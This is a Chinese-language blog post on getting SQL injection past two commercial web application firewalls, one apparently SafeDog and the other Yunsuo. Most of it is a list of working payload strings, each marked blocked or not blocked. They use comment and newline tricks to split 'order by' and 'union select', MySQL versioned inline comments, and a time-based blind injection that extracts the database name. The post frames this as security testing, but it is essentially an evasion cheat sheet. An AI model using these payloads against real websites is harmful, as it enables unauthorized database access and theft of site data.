SQL注入绕waf

0x00
现在的网站安全意识逐渐变强,waf防御也应运而生,五花八门的安全狗防护着网站安全。而对于一些安全测试,我们就有必要对安全狗进行绕过。为了便于以后安全测试的方便,我们最合理的方法就是对不同waf绕过姿势日积月累。以下是两个waf的绕过姿势:
0x01 绕某狗
以下是有某安全狗的网站,看一下其绕过思路:
我们进行简单的and 1=1 之后发现是会被拦截的,那么我们就直接上fuzz

1.png

 
and 1 like 1   拦截
%23%0a 1=1 拦截

and /*!1=1*/ 不拦截
and hex(1) 不拦截

尝试绕过order by
此狗对结合的order by会进行拦截,那么我们就尝试分开order和by,尝试内联注释不行

2.png

 
order /*!by */ 1 拦截
order%23%0aby 1 不拦截
order --+%0a by 拦截

一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉

3.png

 
order --+all%0a by 1 不拦截 且语句有效

绕 union select
可以按照绕order by的思路尝试防止结合,中间添加一些数据
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截

有些安全狗不会对//里面内容进行校验
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截

绕过系统函数(尝试/**/进行绕过)
database() -->database/**/()
database() -->database/*!()*/
user() --> user/**/()
user() -->user/*!()*/
0x02 绕过云锁
order by
/*!order*//*!by*/1 拦截
/*!40000/*!30000order*//*!40000/*!30000by*/1 不拦截 这里30000是数据库版本如果大于他就会执行.
时间盲注开始尝试
id=2 and length(database())>1 不拦截,这里我们可以判断出数据库长度.

获取数据库名称
id= 2 and if(ascii(substr(database(),1,1))>120,1,sleep(7))  拦截
id=2 and if(ascii(substr(database/**/(),1,1))>120,1,sleep/**/(7)) 不拦截
id=2 and if(ascii(substr(database/*!()*/,1,1))>120,1,sleep/*!(7)*/) 不拦截



4.png

 
后面内容是查询表和字段,就不再进行尝试,想要更进一步了解可以参照转载文章学习。
 
参考文章
https://xz.aliyun.com/t/7522
https://blog.csdn.net/bylfsj/article/details/101695699
https://xz.aliyun.com/t/7515

0 个评论

要回复文章请先登录注册